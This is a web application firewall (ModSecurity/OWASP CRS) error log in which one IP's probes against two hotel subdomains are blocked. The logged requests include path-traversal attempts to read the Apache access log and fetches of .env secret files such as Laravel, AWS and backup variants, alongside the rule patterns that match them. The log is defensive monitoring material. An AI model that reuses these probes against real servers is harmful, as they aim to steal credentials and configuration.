[Mon Oct 26 08:36:22.394300 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRgsj78QLlrBrm-443AAAAAc"]
[Mon Oct 26 08:36:22.485072 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRntuNRyqJbUWH7Jv4gAAAAQ"]
[Mon Oct 26 08:36:22.485240 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%5c found within REQUEST_URI_RAW: /..%5c..%5c..%5c..%5c..%5c..%5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRntuNRyqJbUWH7Jv4gAAAAQ"]
[Mon Oct 26 08:36:22.485282 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "..\\\\" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ..\\x5c found within REQUEST_URI: /..\\x5c..\\x5c..\\x5c..\\x5c..\\x5c..\\x5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRntuNRyqJbUWH7Jv4gAAAAQ"]
[Mon Oct 26 08:36:22.485424 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRntuNRyqJbUWH7Jv4gAAAAQ"]
[Mon Oct 26 08:36:22.485676 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at9JRntuNRyqJbUWH7Jv4gAAAAQ"]
[Mon Oct 26 08:36:22.548115 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at9JRg9c_Zz9LocrxF9enwAAAAU"]
[Mon Oct 26 08:36:22.548316 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at9JRg9c_Zz9LocrxF9enwAAAAU"]
[Mon Oct 26 08:36:22.548638 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at9JRg9c_Zz9LocrxF9enwAAAAU"]
[Mon Oct 26 08:36:22.561549 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at9JRgsj78QLlrBrm-443gAAAAc"]
[Mon Oct 26 08:36:22.561694 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at9JRgsj78QLlrBrm-443gAAAAc"]
[Mon Oct 26 08:36:22.561947 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at9JRgsj78QLlrBrm-443gAAAAc"]
[Mon Oct 26 08:36:22.616541 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at9JRp_dbg3ptBnwDgQ5FAAAAAM"]
[Mon Oct 26 08:36:22.616677 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at9JRp_dbg3ptBnwDgQ5FAAAAAM"]
[Mon Oct 26 08:36:22.616931 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at9JRp_dbg3ptBnwDgQ5FAAAAAM"]
[Mon Oct 26 08:36:22.640212 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRk3DiqOFJPXX6P43nAAAABM"]
[Mon Oct 26 08:36:22.640349 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRk3DiqOFJPXX6P43nAAAABM"]
[Mon Oct 26 08:36:22.640595 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRk3DiqOFJPXX6P43nAAAABM"]
[Mon Oct 26 08:36:22.644133 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at9JRntuNRyqJbUWH7Jv5AAAAAQ"]
[Mon Oct 26 08:36:22.644309 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at9JRntuNRyqJbUWH7Jv5AAAAAQ"]
[Mon Oct 26 08:36:22.644599 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at9JRntuNRyqJbUWH7Jv5AAAAAQ"]
[Mon Oct 26 08:36:22.645218 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at9JRgsj78QLlrBrm-443wAAAAc"]
[Mon Oct 26 08:36:22.645334 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at9JRgsj78QLlrBrm-443wAAAAc"]
[Mon Oct 26 08:36:22.645547 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "at9JRgsj78QLlrBrm-443wAAAAc"]
[Mon Oct 26 08:36:22.687941 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at9JRhA_yAFS6UHz-l1VOwAAAA0"]
[Mon Oct 26 08:36:22.688143 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at9JRhA_yAFS6UHz-l1VOwAAAA0"]
[Mon Oct 26 08:36:22.688414 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "at9JRhA_yAFS6UHz-l1VOwAAAA0"]
[Mon Oct 26 08:36:22.708431 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at9JRg9c_Zz9LocrxF9eoQAAAAU"]
[Mon Oct 26 08:36:22.708621 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at9JRg9c_Zz9LocrxF9eoQAAAAU"]
[Mon Oct 26 08:36:22.708926 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at9JRg9c_Zz9LocrxF9eoQAAAAU"]
[Mon Oct 26 08:36:22.712897 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRnT09R7Np-FQ85djzgAAAAo"]
[Mon Oct 26 08:36:22.713036 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRnT09R7Np-FQ85djzgAAAAo"]
[Mon Oct 26 08:36:22.713257 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9JRnT09R7Np-FQ85djzgAAAAo"]
[Mon Oct 26 08:36:22.723164 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9JRk3DiqOFJPXX6P43nQAAABM"]
[Mon Oct 26 08:36:22.723305 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9JRk3DiqOFJPXX6P43nQAAABM"]
[Mon Oct 26 08:36:22.723549 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9JRk3DiqOFJPXX6P43nQAAABM"]
